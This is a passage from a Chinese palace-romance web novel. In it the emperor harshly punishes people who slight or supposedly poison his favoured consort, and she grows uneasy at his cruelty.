席容烟自小也是贵女,规矩仪态叫她一切都得体温和,也从没人这样与她说这种挑衅的话。
她蹙眉,淡淡的眸子看着宋云舒:“宋三姑娘慎言,这里是宫里,别说错了话。”
“皇上不是让人议论的。”
宋云舒一愣,随即撇嘴:“我说你呢,又不是说皇上,你不愿说便罢了,谁不知道你想一个人霸着皇上。”
又小声说了句:“难怪别人说你是狐媚子。”
说完她又轻哼一声,又回到了云氏的身边坐下。
席容烟看着宋云舒的背影站了起来,走到皇后的面前微微屈膝:“刚才宋三姑娘说臣妾身上的香味迷住了皇上,这样的话到底粗鄙了些,也是些上不得台面的话,有失了体面,嫔妾不忍听,也怕宋三姑娘再口出说些骇人的话来。”
“还请皇后娘娘允嫔妾先离开。”
皇后的脸色微微一变。
刚下宋云舒去席容烟面前说的那些话她听见了,但她没阻止。
隐隐心里还有快意。
这人不可能事事都要占着好处,得了宠爱,就得要禁得住人说,便装作没有听见。
只是她没想到席容烟竟然走到她面前将这话说了出来,让她左右下不来台。
太后刚才正和身边嬷嬷说话没听见,这会儿听见席容烟的话也是脸色一变,冷冷看向皇后:“这没规矩的也是忠靖侯府的教养?皇上是她能议论的。”
说着太后冷声对着身边的嬷嬷就吩咐:“去掌嘴。”
“打够二十下。”
云氏的脸色一变,忙牵着宋云舒起身跪在太后面前告罪。
她心里的确见不惯席容烟,在府里也没说过席容烟什么好话,但是这是在宫里,席容烟姑母还是太后,她也没想到自己小女儿这般肆意妄为。
但这事本没这么严重的,宋云舒那话可大可小了说,也没什么多冒犯的。
宋云舒也吓得脸白,她刚才不过为姐姐出气说的两句玩笑话,她是忠靖侯府的嫡女,姐姐还是皇后,在宫外的贵女里也都是让人巴结的,从来没想到过会有这样的时候。
又一下子哭出来,又朝着皇后喊:“姐姐,救我。”
皇后一向谨慎,没想自己一时的松懈就出了事,对席容烟又恨了一层。
她强按下心思,冷声对着宋云舒道:“进宫的规矩本宫教了你多少了,还胡言乱语。”
“太后罚你是为了让你长记性。”
说着她又道:“俞嬷嬷,带三姑娘下去掌嘴。”
太后淡淡看着俞嬷嬷要带宋云舒下去,冷冷道:“就不劳皇后的人了,哀家的嬷嬷有分寸。”
皇后紧了紧手,还是又让俞嬷嬷退了下去。
才没过一会儿,外头就响起掌嘴的声音。
席容烟静静坐在椅子上,听着外头宋云舒的哭喊声,没有反应,安安静静的。
她知道会得罪皇后,但皇后早就不待见她了,不然也不可能任由凭宋云舒这般说话。
等到宋云舒再被拖进来,脸颊高肿,显然下了重手。
正这时候,皇上走了进来,一屋子的人又连忙站了起来。
皇后本想让宋云舒去后殿去,偏太后与皇上又说了宋云舒的事,只见皇上冷淡地一垂眼,凉凉地吐出一句话:“拖出去,杖三十。”
还未出嫁的闺阁女子,三十丈下去,即便还有半条命,只怕身子都毁了。
云氏吓得一下子跪下去,又哭着为女儿求饶。
皇后的脸色也变了变。
她没想到这样一件小事,皇上竟然也施这样重的手。
那可是她的亲嫡妹。
她快步走到皇上身边急促道:“今日事恒儿生辰,叫他见了这些不好,也不能见血的,皇上钥匙要罚,还是明日再说吧。”
“刚才太后已经训斥教训过她,她回去后也定然改过,皇上也饶了她这一回,三十杖当真罚得重了些。”
皇上冷笑着看了皇后一眼:“你也知是恒儿生辰?你当宫内是你忠靖侯府?对朕的嫔妃竟敢口出狂言,她莫不是忘了自己的身份?”
说着皇上又看一眼高义,高义心领神会,叫人进来就托着宋云舒到了外头去。
这些年忠靖侯府的在外可谓是嚣张跋扈,人人赶着巴结,在宫外人人让着,在宫内那就不一样了。
没一会儿惨叫声传来,听起来格外骇人。
其实席容烟只是想让宋云舒谨言慎行,并没想让她这样的下场。
寻常女子都是受不住三十杖杖刑的。
她抬头看向皇上,只见皇上正坐在主位,目光冷凉无情,眉目间还有一丝不耐烦,看起来格外冷酷。
皇上也似乎察觉到她在看他,目光转过来,又变温和下来,仿佛上一瞬的冷酷都是她的幻觉。
殿外的惨叫声持续了许久才消下去,坐在殿内的人听着那叫声都低着头,脸色都不怎么好。
她们也没想到,不过是两句玩笑话,皇上竟像是要打死人。
今日的生辰因着这一遭事情,显得冷清了许多。
云氏更是哭晕了过去,皇后扶着云氏,颤抖着许久才稳住了神情。
宴会也是匆匆地结束了。
席容烟出去的时候,在长春宫外看到了地上的一滩血迹,地上正跪着太监擦拭,又忽想起刚才皇上冰凉的神情。
宝珠在席容烟耳边低声道:“刚才奴婢听说宋三姑娘是被担着回的,流了一路的血。”
“也真是活该。”
席容烟紧了紧手,低声道:“你别说了。”
又往前走。
她回了承乾宫,撑头在小案上,一闭眼又是那一滩被水冲过的粉色血迹。
在她眼里温和的皇上,冷酷起来竟让她觉得骇人。
玉竹瞧见席容烟脸色不好,过来低声道:“皇上也是为主子出气呢。”
“那宋三姑娘姑娘的确也太口无遮拦了些。”
席容烟抬头看向玉竹:“我不是觉得她不该罚,她刚才那遭也是明显针对我的。”
“但我觉得罪不至此。”
玉竹心里的确也觉得罚得重了些,三十杖下去,就算活着,只怕往后的身子就不行了,怀身孕都艰难。
还有这事一传出去,恐怕议亲都难说。
她还是道:“这都是她自己作出来的,主子让她谨言慎行,她还不知悔改,又说那等话,只能说全是她咎由自取。”
席容烟揉了揉眉头,闭上了眼睛。
第112章 还是烟儿对皇后的位置并不在意
下午的时候,魏祁过来了一趟。
他站在屏风前,看着席容烟独自靠在小椅上出神。
膝盖上还放着一本翻了几页的书,显然是没用心看的。
这样的场景魏祁在前世里见过许多次。
他顿了顿,走了过去。
席容烟看着窗外的秋千,察觉身旁有阴影过来,一偏头就见着皇上过来了。
席容烟不明白,皇上为什么来承乾宫从来不通传,每回都是静悄悄地来。
她又站起来:“皇上。”
魏祁看了看席容烟坐的那张扶手椅,又看席容烟的脸颊,稍思索一下,牵着她去软塌上坐着问:“还在想上午那事?”
说着魏祁安慰似的捏了捏席容烟的手:“你放心,往后再不会有人对你出言不逊。”
席容烟看向皇上看来的眼睛,小声问:“最后宋三姑娘怎么样了?”
“会不会出事?”
魏祁挑眉看着席容烟:“后宫里的事不是她能议论的,即便三十杖打死她,也没得可惜的。”
席容烟怔怔看着皇上说话的神情,眉目间好似染上了一层冷淡,口中的那一条人命也无关要紧,即便是温和的语气,也叫她觉得皇上并没那么温和。
她轻轻地捏紧手,又点点头,不再问了。
魏祁瞧出席容烟心情不大好,又抱着她来腿上坐着,低声道:“朕知晓你今日委屈了,宋家的跋扈是朕纵容了,很快宋家便再不敢对你无礼。”
“即便是皇后也不能。”
席容烟听到这里心下一跳,皇上要对宋家做什么么。
她抬头看向皇上,张张唇,又觉得自己不该问。
魏祁看出席容烟欲言又止的神情,低笑了下:“朕说过会让烟儿做皇后,便一定会。”
“烟儿只需要再等几月就好。”
明明是皇上这般允诺,席容烟不明白自己心底竟然没有特别高兴的心情。
下巴又被皇上捏住,捏着她抬头,迎面上炙热的呼吸和皇上幽深的眼神:“朕的承诺,烟儿放心信朕便是。”
“后宫里只会有你一人。”
席容烟心跳的很快,在这样的氛围中,她看着皇上渐渐压低的肩膀,那薄唇就要碰上她的,她也本该迎合的伸手揽住皇上的脖子,可她却开口问:“那皇后怎么办?”
这话问出来席容烟又后悔,皇后怎么办她何必在乎,或许皇上也是不喜欢她问得太多的。
魏祁的动作一顿,他眼色复杂的看她,竟没在她眼里看到欣喜的神色,反而问她另外一个女人。
他身为帝王,身为一国之君,对她许下一生一世一双人的承诺,古往今来任何一个帝王都不可能做到,也都不可能承诺。
不管是前世,还是这一世,他都对她做下一样的承诺。
她却在这个时候问起旁人来。
难道她还要担心皇后,心甘情愿的和别的女人分享他?
魏祁沉了沉眼,紧抿着唇。
席容烟几乎是在一瞬间就察觉到了皇上的变化,那眯眼的阴翳神情,身上都透出了一股冷意,阴沉的有些骇人。
席容烟被吓住,此刻的皇上与梦里的那个人居然一模一样。
那双阴沉的眼眸此刻静静的的看着她,下巴上传来一股疼,让她背后竟生了冷汗,从心底生出一股恐惧。
她手指颤了颤,心跳加快,忙又伸手揽在皇上的脖子上,抬头迎上皇上的眸子:“皇上生气了,是臣妾问错话了么?”
脖子上柔软的手指碰上去,带着魏祁熟悉的阵阵香气。
他忽然从席容烟的眼里看到一丝怯意,那清澈的黑眸中倒映出他的模样,神情并不算太好。
魏祁深吸一口气,知晓自己不笑时的确有些吓人,从前他便知道了,身边的手下都常被他的神情吓住,更何况是席容烟这样自小在闺阁的女子。
他闭上眼睛,隐去眼里的神情,又弯腰拍了拍席容烟的后背:“朕没有生气。”
说着魏祁睁开眼看着席容烟的眼睛:“烟儿担心皇后?还是烟儿对皇上的位置并不在意。”
说着魏祁捏了捏席容烟的腰:“要是皇后不被废,烟儿怎么做上皇后的位置?”
皇上此刻说话的声音很低沉,低低的声线如从前那般温和,眼神半垂,席容烟却依旧从这样温和的神情中感受到了一丝心慌。
她隐隐明白了什么。
她又听话地点头:“臣妾都听皇上的。”
魏祁却是还是从席容烟的神情中看到一丝让他并不高兴的东西,她脸上依旧没有欣喜。
半点都瞧不见。
他低问她:“烟儿想不想成为朕的皇后。”
若是皇后犯错,皇上废了她,席容烟并不觉得什么。
若是皇上只是为了立她为后对付宋家,席容烟心底还是察觉到皇上的凉薄。
她总是想,皇上能这么无情,当不喜欢她的那一日来临,会不会也这么无情。
席容烟强压下心里的胡思乱想,又看着皇上轻轻点头:“臣妾愿意。”
“臣妾也想与皇上一生一世。”
最后那话稍微抚慰住了魏祁并不怎么高兴的心,但他蹙眉抚着席容烟的眼睛:“烟儿既然愿意,为什么朕看不到烟儿高兴?”
席容烟怔了下,小声道:“臣妾心里高兴,但臣妾也觉得稍微有一些不心安。”
说着席容烟低头靠在皇上的胸膛上,闭上眼睛:“臣妾大抵是不想让人在背后非议。”
“臣妾怕承受不住。”
席容烟这话,魏祁是信的。
前世里席容烟进宫后日日不出宫殿,她对他说得最多的就是她无脸出去,甚至他们的孩子,她都说那孩子不该出生。
他轻拍她的后背,缓缓道:“没有人敢非议你,朕废后也会名正言顺。”
“你是名正言顺进的宫,也会名正言顺地成为朕的皇后。”
“一切都有朕在,烟儿不用担心。”
“朕做的一切,都是为了你。”
低沉的话饱含着情意,席容烟的心跳却依旧颤动。
仿佛她曾听到过这样的话,明明带着深情,却又好似胁迫一般逼着她接受。
姑母就说过,后宫里女人此起彼伏再寻常不过,她不该同情旁人。
席容烟压下最后那一丝异样,让自己的心变得欣喜接受,又靠在皇上怀里点头。
第113章 受伤
这日席容烟从皇后那里出来,还没来得及上步辇,就忽然听到一声猫叫声。
她侧过头看去,见着是一只白猫,只是那猫瞧着有些脏,正朝着她叫,像是识得她似的。
旁边齐妃这时候走过来,看了一眼,又道:“这是哪来的猫?”
又看向席容烟,若有若无的笑了笑:“该不会认了妹妹做主子吧。”
席容烟倒是想着,这猫瞧着瘦弱,看起来也有几分可怜,要是它真认了自己,养来陪她也好。
玉竹站在席容烟的身边低声道:“这猫不知道从哪儿来的,主子还是别带回去。”
席容烟点点头,这猫来历不明,的确没必要带回去,转身要上步辇时,忽听一声猫的怪叫声,她再回头,还没有反应过来,就只觉得面前闪过道影子,她下意识的抬起袖子,接着手臂上就传来一道痛意。
耳边传来了刺耳的惊叫声。
原那猫跳到了席容烟的身上,被宝珠挡了一下,又一瞬间跳起来,就在席容烟的手臂上划开了血痕,眼看着那猫还要往席容烟脸颊抓去,宝珠赶忙去扯那猫。
只是那猫的爪子勾在席容烟的袖子上,又浑身抽搐,吓的宝珠用了全力,扯下来就扔到了地上。
被摔到地上的白猫呜咽的怪叫着,刺耳又骇人,浑身抽搐,很快就没了声息。
玉竹抱着席容烟往后退,看着那手臂上的血痕,触目惊心,刚才要是让那猫抓到了脸上,她都不敢想会变成什么样子。
这里离长春宫不远,那头皇后听到动静匆匆过来,看着地上已经死了的猫,又看向席容烟手臂上的血痕,忙怒声道:“这猫从哪来的?”
又叫人去将猫裹起来拿去处置了。
席容烟看着那猫已经察觉到了不寻常,要张口将那猫留下,却觉得浑身发软,眼前眩晕发虚,额上渗出冷汗,手心也在发抖,竟开不了口。
便知道自己中了毒。
玉竹很快就发现了席容烟的不对,赶紧让宝珠去叫太医来,又扶着席容烟上步辇回承乾宫。
原地还留下了几位妃嫔,看着这一幕脸上都露出了惊疑,纷纷看向了皇后。
今日这猫出现的有些诡异。
况且那才那里站了不少人,怎么那猫只冲着席容烟去?
皇后脸上也微微有些凝重,看了周遭一眼,又对着身边吩咐道:“去查查那猫从哪儿来的,务必查清楚。”
说着她又看了一眼旁边的妃嫔:“宸妃现在出了事,要是没事还好,真有事,都自求多福吧。”
说罢皇后一转身就又进了长春宫。
留下其他妃嫔面面相觑。
席容烟回了承乾宫便已经头晕目眩的几乎连动都没力气动了。
玉竹知晓席容烟身上定然是中了毒,太医这会儿还没来,赶紧用热水去洗席容烟手臂上的伤口。
原本光洁无暇的手臂上,此刻狰狞的落着三四条通红发肿的伤口,隐隐还现了紫色,显得有些骇人。
玉竹捏着那软绵绵的手,洗了三盆水,王太医才匆匆赶来。
王太医过来一见到席容烟的手臂,吓的就是一身冷汗,赶紧从药箱里拿出玉枢丹给席容烟喂下去。
这一瞧就是中了毒,要是不赶紧,毒性蔓延下去,恐怕后头就难救。
宝珠看到王太医的动作被吓住了,赶紧问:“我家主子到底中了什么毒?”
王太医摇头,又抬起席容烟的手臂仔细看。
玉枢丹是清毒的,先吃总是最好。
席容烟吃了药,理智稍回了些,软绵绵靠在枕上,身上微微发冷。
这时候屏风外忽然进来一道玄黑色的身影,席容烟见着皇上进来,眼圈就是一红。
魏祁见着席容烟虚弱的样子,心里一痛,走过去将她揽入怀里,低声道:“不会有事的,朕不会让你有事。”
低沉的声音里带着一股压抑的阴沉,魏祁深吸一口气,脸色越来越暗。
王太医看完席容烟的伤,就连忙脸色凝重的朝着魏祁道:“宸妃娘娘的伤口上应该是中了乌头汁。”
“乌头汁毒性极厉害,伤口上一旦沾上了这药,伤口便会很快溃烂,且久治不愈,即便后头治好,也会留下伤疤,要是这些伤口落在了脸上,恐怕就毁了面容。”
又凝重道:“且这毒性还能浸透身体,让人神志不清。”
“幸好刚才及时洗去了一些毒性,现在祛毒应该还来得及。”
说着王太医流着冷汗跪下去,颤抖道:“只是此毒阴毒,下官也不能保证宸妃娘娘的手臂上会不会留下伤疤。”
席容烟一瞬间就察觉到了皇上脸上沉下来的表情,她浑浑噩噩,脑中还有些晕眩,又捏紧皇上的手指,对着跪在地上的王太医虚弱道:“只要能解了毒性,即便留下伤疤,本宫也不怪你。”
“现在本宫头晕落汗,还请王太医诊治。”
王太医听了席容烟的话,又小心的抬头看皇上的神情,见着那阴沉骇人的神情时,心跳如鼓,又听一声低沉的声音:“解不了宸妃的毒,你就拿项上人头赔罪。”
王太医再不敢耽误,赶紧从药箱里取出雄黄黄芩,抹在席容烟的伤口上。
魏祁紧紧抿着唇,让宝珠和玉竹过来照顾,又走了出去。
凌姑姑连忙跟在皇上的身后,让今日随行的宫女过来给皇上讲经过。
魏祁沉眉听完,脸色阴下去,又往皇后那里过去。
席容烟看着屏风外皇上的背影离开,又看向手臂上的伤,被敷了厚厚的草药,又被白色布带缠好。
王太医出去熬药时,宝珠担心的问:“主子现在好些了么?”
许是刚才吃了,这会儿脑中没那么晕眩,她缓出一口气,又低声道:“那猫只往我身上扑来有些蹊跷。”
又抚着额头问:“那只猫,皇后处理了么?”
玉竹站在旁边:“刚才一心着急送主子回来,也忘了看了。”
又道:“要不现在奴婢去问问?”
席容烟脸颊苍白,摇摇头:“现在也罢了。”
“要是处理也早处理了,现在去也晚了。”
“即便没有处理,你去问,要是皇后做的,也不会给你。”
说着席容烟喃喃:“要皇上做主才行。”
细长的指尖盖在眼睛上,她闭上眼睛,又些疲惫的要睡。
她这一睡,睡到了夜里才醒来。
醒来时眼前朦朦胧胧,只看见面前坐了道高大的影子。
第114章 伤害你的人,朕都会处置的
那身形安静的,无声的陪在她身边。
像是不管什么事情,都可以依赖他。
她手指动了动,还没开口喊出来,身子就被那身形抱了过去,熟悉的温热的手掌按在她后背上,低声道:“烟儿,没事了。”
席容烟的思绪渐渐回笼,又抬头看向皇上。
她见着皇上眼底的那一抹疲惫,像是坐在她身边陪了她许久,从前心底因为那些梦境对皇上的不安排斥此刻都散去,她心底升起一抹难受,抬起头抚在皇上的脸上问:“皇上陪了臣妾许久么?”
这一抹柔软让魏祁心里一紧,又将手掌覆在席容烟的手背上,沙哑道:“没有太久。”
说着又看向席容烟依旧有些苍白的脸颊,弯腰将娇小的身子拢在怀里,叹息:“烟儿,对不起,朕没有护好你。”
整个身子被皇上包裹住,周遭都是皇上身上的味道。
席容烟只觉得无比的安心,轻轻摇头道:“是臣妾又让皇上担心了。”
魏祁闭眼,手指微微紧了紧,控制不了躁郁的心绪,无声的抱着人。
直到宝珠端着药进来,魏祁才松了手,接过药来为席容烟喂药。
席容烟觉得最近吃的药太多了,好似自从进了承乾宫以来,她吃的药便没有断过。
苦涩的药汁让本就难受的身子愈加难受,席容烟捂着胸口不愿喝,但看皇上送过来,强忍着张开唇,仅仅只喝了两口又呕了出来。
额上又细细密密的出了冷汗,她难受地倒在皇上的怀里,胃里翻江倒海。
魏祁忙抱着人在怀里哄了哄,又放下药碗,等人缓过来了才一点一点喂她。
吃完药,席容烟身上都是汗,便想要沐浴。
王太医早就准备好了药浴,席容烟沐浴出来,身上虽是有股药味,却觉得身上好了许多,连头也不晕了。
或许是白日里睡的多,夜里她埋在皇上的怀里,看着皇上的神色低声道:“臣妾手臂上中了毒,是不是有人事先在那猫爪上涂了药?”
魏祁低嗯了一声,又低头看着席容烟暗色中的脸庞。
他抬手捏了捏,又垂下眸子:“这件事烟儿不用担心,朕已经查明白了。”
席容烟没想到居然这么快,忙问:“是谁?”
其实席容烟想问的是是不是皇后。
只是话到唇边又换了话。
魏祁拍拍席容烟的后背:“这事明日再说,先睡吧。”
席容烟怔了怔,不明白皇上为什么现在不愿说。
虽说她看出皇上的意思像是不愿开口,还是又问出来:“那猫皇上查到是哪儿来的么?”
魏祁唔了一声,又捏了捏席容烟的腰,黑眸看着怀里的人:“睡不着?”
席容烟一愣,又摇摇头:“白日里睡的多了。”
魏祁又用手摸了摸席容烟的额头,那里没有了潮湿,又去摸她后背,也是温热干爽。
王太医说只要不生冷汗,便说明有药效了。
魏祁抱着席容烟往身上托了托,对着她的脸庞低声道:“今日那伤口要是再深一些,只怕没这么快好。”
“这宫里的所有猫,朕都已经让人处置了。”
席容烟张张唇,本想说这是有心人害她,即便处置了那些猫,要害她的人也有别的法子,没必要处置其他那些无辜的猫。
可皇上沉下来的眼神又叫她觉得心头有一股压力,又只是轻轻嗯了一声。
魏祁又道:“烟儿,伤害你的人,朕都会处置的。”
“你放心,不会放过一个。”
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第二日的时候,席容烟才从凌姑姑的口中问到了,原那猫是从御膳房跑出来的猫,平日里就被宫女喂一些剩饭养着。
席容烟便问:“那为什么又跑到后宫里了?”
凌姑姑摇头:“奴婢也不知晓,或许是害主子的人抱来的。”
席容烟便又问:“到底是谁?”
凌姑姑依旧摇头,只是低声道:”主子放心,皇上一定会为主子做主的。”
席容烟知晓是从凌姑姑这里也问不出什么来的。
太后又来看她,席容烟便不再问这事了。
下午的时候,席容烟身上已经好的差不多了,本想从床榻上起来,但玉竹不让:“那毒幸好解的快,要是慢一些,主子不是找了道了?”
“王太医也说主子身子底子不大好,多养两日总归好些。”
“万一又出了事怎么办?”
席容烟只好又靠在床榻上。
她正想让宝珠去给她拿一本书来,又听外头哭喊吵嚷的声音,忙坐直让宝珠出去看看。
宝珠应了一声出去,很快又回来对席容烟道:“是黄贵人在外头哭,说要见主子。”
席容烟问:“她怎么了?”
宝珠便道:“奴婢听了两句,她说什么她是冤枉的,求主子饶了她一命,她不想死。”
外头还有太监抓着她,估计要被拖走了。
席容烟一顿,让宝珠去叫她进来。
宝珠愣了愣,低声道:“主子别管这事了吧。”
席容烟摇头:“她哭得这样厉害,又说什么不想死和冤枉的,你叫她进来,我听听她说什么。”
宝珠一顿,还是走了出去。
席容烟从床沿上坐起来,身上披了件单衣,出去坐在贵妃榻上,就见着黄贵人跌跌撞撞地从外头跑进来,接着一下子就跪在了席容烟面前。
只是黄贵人身边紧紧跟着宫人,又用手抓着她,让她靠近不了席容烟。
又见黄贵人一跪下就朝着席容烟大哭:“我从未害过妹妹什么,还请妹妹高抬贵手,饶了我一命,往后我再不来妹妹面前碍眼,一辈子去寺庙里剃发出家。”
“求求你了。”
“我真的不想死啊。”
席容烟看黄贵人头发散乱,满脸泪水,浑身发着抖,从只言片语中大抵猜到些因由。
应该是皇上查出来来了是她。
她微微弯腰细声问她:“是你害了我么?”
“你慢慢说,我没想过要你如何,也根本没想要你死的。”
黄贵人满脸泪水哽咽:“我根本不知道这事,可皇上说昨日去皇后那里请安的时候,我碰过妹妹。”
“便说我身上沾了药粉,故意蹭到妹妹身上的。”
“可我根本不知道这事,皇上也叫人去我宫里搜了,什么药粉也没搜出来,可今日皇上就让人送来毒酒来,要臣妾自行了断。”
说着黄贵人如疯癫般磕头在地上,哽咽道:“我虽从前不喜欢妹妹,但却根本没有胆子害妹妹。”
“求妹妹饶了我吧。”
“求求妹妹了。”
第115章 让她觉得陌生的皇上
咚咚的磕头声听得席容烟心里也骇了骇。
她从黄贵人的话里也听出经过来。
应该是有人事先给那猫喂了药,又在那天往自己身上放了药粉,那猫才会看见自己就发狂。
她想起那日黄贵人只是从皇后那里出去时,路过自己身侧,袖子擦过的接触而已。
若是那药涂在袖子上染到她身上,那那日黄贵人身上的衣裳应该也有药的。
席容烟便问:“你那日穿的衣裳在么?”
黄贵人便连忙赶紧道:“那衣裳昨日就被皇上派来的侍卫拿去了,我昨日也找太医问过,那衣裳上没有查出药来。”
“我本以为没事了,可今日皇上送毒酒来,是要臣妾死啊。”
席容烟看着黄贵人在自己面前几乎癫狂的哭诉,心里竟有些不安。
她又问:“那查出来的不是你,你觉得还会是谁?”
”你有没有别的证据证明?”
黄贵人哭着摇头:“昨日妹妹出了那事之后,所有人都被禁足在了宫殿里,今早也没有去皇后那里问安。”
“我当真不知道会出这样的事情,是有人要害我啊。”
席容烟不是同情黄贵人,她只是不想要伤害无辜的人。
要是黄贵人真的无辜,那不是无辜的人白白**。
况且她隐隐觉得该是皇后的手笔,真正下手的人不该一直都没有事的。
再有现在黄贵人来她这里这样哭诉,若真的是她,她没必要一直喊着冤枉。
她低声对黄贵人道:“你别急,你先回去,我先去见过了皇上问清楚了再说。”
黄贵人却惊恐的摇头:“我一回去就**。”
“刚才我是假装喝下毒酒,装死从华阳宫里出来跑到妹妹这里的。”
“外头还有随时要我命的侍卫,我一出去就必然要死的。”
说着她又哭着磕头:“求求妹妹救救我,这次我真的没有害妹妹啊。”
她又惊惧的抬头看向席容烟:“是皇后娘娘,一定是皇后娘娘要害妹妹啊。”
惊恐的声音在內殿里格外刺耳骇人。
站在席容烟身边的宝珠看到从前贵气端庄的人,如今像是疯妇一般头发蓬乱,衣衫不整,也有些唏嘘。
席容烟让玉竹送黄贵人去偏殿,又让宝珠给自己梳妆。
玉竹犹豫道:“主子的手上还有伤,再说黄贵人说不是她便不是她了?万一真是她呢。”
席容烟看向玉竹:“万一真是她,我也没有要包庇她的意思,只是我想知道到底是谁。”
“也不想连累无辜的人。”
玉竹愣了愣,还是让人拖着黄贵人出去。
只是黄贵人的力气竟然尤其大,哭喊着抱着架子不肯走,口中一直道出去就会死。
席容烟正打算让黄贵人留在这里,她去梳妆,却又听外头传来皇上进来的声音,忙站起来。
地上的黄贵人听到皇上进来,一下子就浑身瑟瑟发抖的缩成一团,再不敢吼闹。
魏祁进来看了一眼地上的黄贵人,顿了顿,又走到席容烟面前。
见着席容烟身上还穿着月白的寝衣,肩上披着粉色外裳,虽说现在的天气并不冷,但他还是蹙了蹙眉,揽着席容烟的肩膀便往屏风内走。
席容烟坐在床沿上,忍不住小声问皇上:“真的是黄贵人么?”
“可是黄贵人说没在她那里搜出药来,会不会是其他人?”
魏祁坐到席容烟身侧,静静看了席容烟一眼,又低声道:“烟儿,朕的确没有在她那里查出药来。”
“但这并不能代表她没有做过。”
“那日她的确是碰过你。”
“在朕这里,朕不想出半点差错。”
席容烟怔怔看着面前的皇上,温和眉目看着她,那只温和修长的手还握着她的手心。
可为什么她却在这一瞬间觉得皇上异常的冷血。
她不明白,就算是皇上不肯出差错,为什么一定要人死呢。
她张张唇,有一刻觉得面前的皇上有一瞬间的陌生。
仿佛她从前眼里的那个温和脾气好的皇上,都是假的。
她许久才找到自己的声音:“没有证据证明是黄贵人做的,为什么
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皇上要给她送去毒酒。”
“难道不能等查出真凶的时候再这样做吗?”
魏祁抿了抿唇,沉沉目光里微微冷清。
他当然知道这件事的主谋是谁,他现在不过是在借着这件事清理后宫罢了。
黄贵人之前挑拨谢雨眠害席容烟,他的人早就看得清楚,只不过那时候没对她动手,不过是留着后面处置她。
魏祁低低看了席容烟一眼,见着她看来的眸子,又垂下眼帘,他只是打算悄无声息的处理好这件事,没想到黄贵人跑到了席容烟面前了。
他将席容烟按紧在怀里,魏祁随口编了一个借口:“朕的人查到她之前养过那猫一些日子,那天她回去后要处理那药很容易。”
“烟儿,不要太相信她的话,她不过不想死而已。”
席容烟一愣,心里头仍是有疑惑,刚想要开口说话时,皇上却打断了她的开口,那双沉黑的眸子看着她,凌厉的长眉下,带着一股淡淡的威严:“烟儿,朕都是为了你。”
“那些女人勾心斗角,心思不纯,你袒护她们,她们往后依旧会害你。”
“朕也不能时时护在你身边。”
席容烟只觉得心跳加快,在皇上这样温和的情话下,她竟腾升出一股异样情绪来。
即便皇上是为了她,却不是这样滥杀无辜。
她轻声道:“皇上真的已经确定是她做的么?”
“为什么非要现在处死她。”
魏祁抿了抿唇,深深看了席容烟一眼,又叹息:“烟儿,你有没有想过,要是那天那只猫抓到你的脸上,要是那日没有及时清理毒性,要是那日朕没有在,你会出什么事?”
“害你的人即便要不了你的性命,也会让你的脸毁了。”
“你真的还不忍心么?”
席容烟张张唇,她不是不忍心。
她只是觉得这件事不一定是黄贵人做的。
魏祁又深吸一口气,抚着席容烟的后背:“烟儿,这件事你不用再过问,都交给朕,朕会让你安心的。”
“你现在只需要好好的养伤。”
第116章 烟儿,她们都是因为你才死的
皇上没有直接回答她的话,席容烟莫名的心里就安心不下。
她总是觉得皇上在这件事里,并不想让她知晓一些事情。
可她不知道是什么事情。
她只是觉得此刻抱着她的皇上有一些让她觉得陌生。
让她觉得现在的皇上,和她梦里那个冷酷无情的皇上有些相似。
她难过起来,又心惶惶。
魏祁低头看着怀里安安静静的人,又哄了哄,抱着她去床榻上躺下,将锦被盖在席容烟的身上,又捏着她的手低声道:“烟儿,再睡一会儿。”
席容烟看皇上起身要走,连忙伸手扯在皇上的袖子上,小声道:“皇上能不能放过黄贵人。”
“别赐死她。”
“即便真是她做的,皇上为臣妾罚她是应该,只是她若是**,臣妾心里难安,有些害怕。”
魏祁顿了顿,回头看向席容烟憔悴的容色,又低声道:“烟儿放心,朕不会杀她。”
“朕送她去感业寺。”
席容烟看着皇上离开的背影,心里生出一股茫然来。
外头很快传来几声尖厉的哭喊声,又很快变成沉闷的呜咽声,紧接着很快又恢复了安静。
席容烟的心提着,叫来外头的宫女来问怎么了,那宫女便恭敬道:“是皇上怕黄贵人扰了娘娘休息,让人将黄贵人带走了。”
席容烟点点头,又滑入被子里。
手臂上依旧传来刺痛,她却心底生了一股不安心,叫宫女出去后,又叫宝珠进来,侧身看着进来的宝珠,席容烟低声道:“你出去看看,看看皇上带黄贵人去了哪儿。”
宝珠小声道:“奴婢不能出去。”
席容烟一愣:“怎么了?”
宝珠便道:“刚才皇上吩咐说,让我们都留在承乾宫内照顾好主子,谁都不能出去。”
“也不许人来探望。”
“刚才皇后娘娘在外头要进来,高公公就拦着皇后娘娘没让进来。”
“奴婢还瞧见皇上出去的时候碰见了皇后娘娘,皇后娘娘与皇上说了什么,皇上也没让皇后娘娘进来。”
席容烟的心里悬着,皇上不让外头的人来看她,尚能说得过去,怎么也不让她宫里的人出去。
但她知道问宝珠定然是问不出来的,又心不在焉的点点头。
心里又想起刚才黄贵人跪在她面前大哭的场景,她实在想不明白,皇上连明确的证据都没有,为什么就赐了毒酒。
难道后宫里的一条人命,说不要就不要了么。
她觉得脑中凌乱,又怔怔看着宝珠:“你觉得真的害我的人是谁?”
宝珠小声道:“奴婢觉得黄贵人不大像,那天奴婢跟在主子身后,虽说黄贵人的袖子碰过主子,但是主子出事的时候,黄贵人就站在齐妃的旁边,那猫怎么不抓黄贵人,就抓主子?”
席容烟其实刚才也想到了这里。
但皇上又说黄贵人喂养过那猫,她又觉得皇上没理由骗她的。
虽说心里总觉得有些不对,却又抓不住。
席容烟又从床榻上坐起来,让宝珠给她穿衣。
宝珠一愣:“主子伤还没好,要去哪儿?”
席容烟低声道:“我想出去走走。”
宝珠惊讶:“主子要往哪儿走?”
席容烟没说话,只是让宝珠来穿戴。
为什么皇上不让宫里的人出去,难道外头有什么。
她因着那梦境总是有一股不安,还是在她面前的皇上还有另外一副面孔。
玉竹也进来小声劝道:“主子的手还没好,何必这时候出去。”
席容烟深吸一口气,让宝珠穿衣便是。
穿好衣裳她往外殿走,凌姑姑见着席容烟出来吓了一跳,赶紧跟过去小声道:“皇上让奴婢照顾好娘娘,娘娘身子还虚着,还是进去养着吧。”
席容烟脸颊苍白,侧头问凌姑姑:“皇上不让我出去么?”
凌姑姑一愣,连忙摇头:“皇上担心娘娘的身子。”
席容烟便轻声道:“凌姑姑放心,我手上的伤已经好了许多,我只是觉得有些闷了,想要透透气。”
凌姑姑眼睁睁看着席容烟从面前走过去,又往承乾宫门口走。
那门口的侍卫根本不敢拦着席容烟,这可是皇上捧在心尖上的人,要是惹了宸妃不高兴,他们更没命了。
